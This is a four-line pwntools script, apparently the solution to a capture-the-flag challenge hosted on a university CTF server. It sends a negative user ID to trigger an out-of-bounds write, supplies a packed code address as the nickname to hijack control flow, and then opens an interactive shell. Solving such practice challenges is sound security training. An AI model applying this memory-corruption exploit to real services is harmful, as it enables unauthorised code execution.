p = remote("bamboofox.cs.nctu.edu.tw", 12013)

p.sendlineafter(b"User ID: ", "-19")
p.sendlineafter(b"Nickname", p64(0x400924))
p.interactive()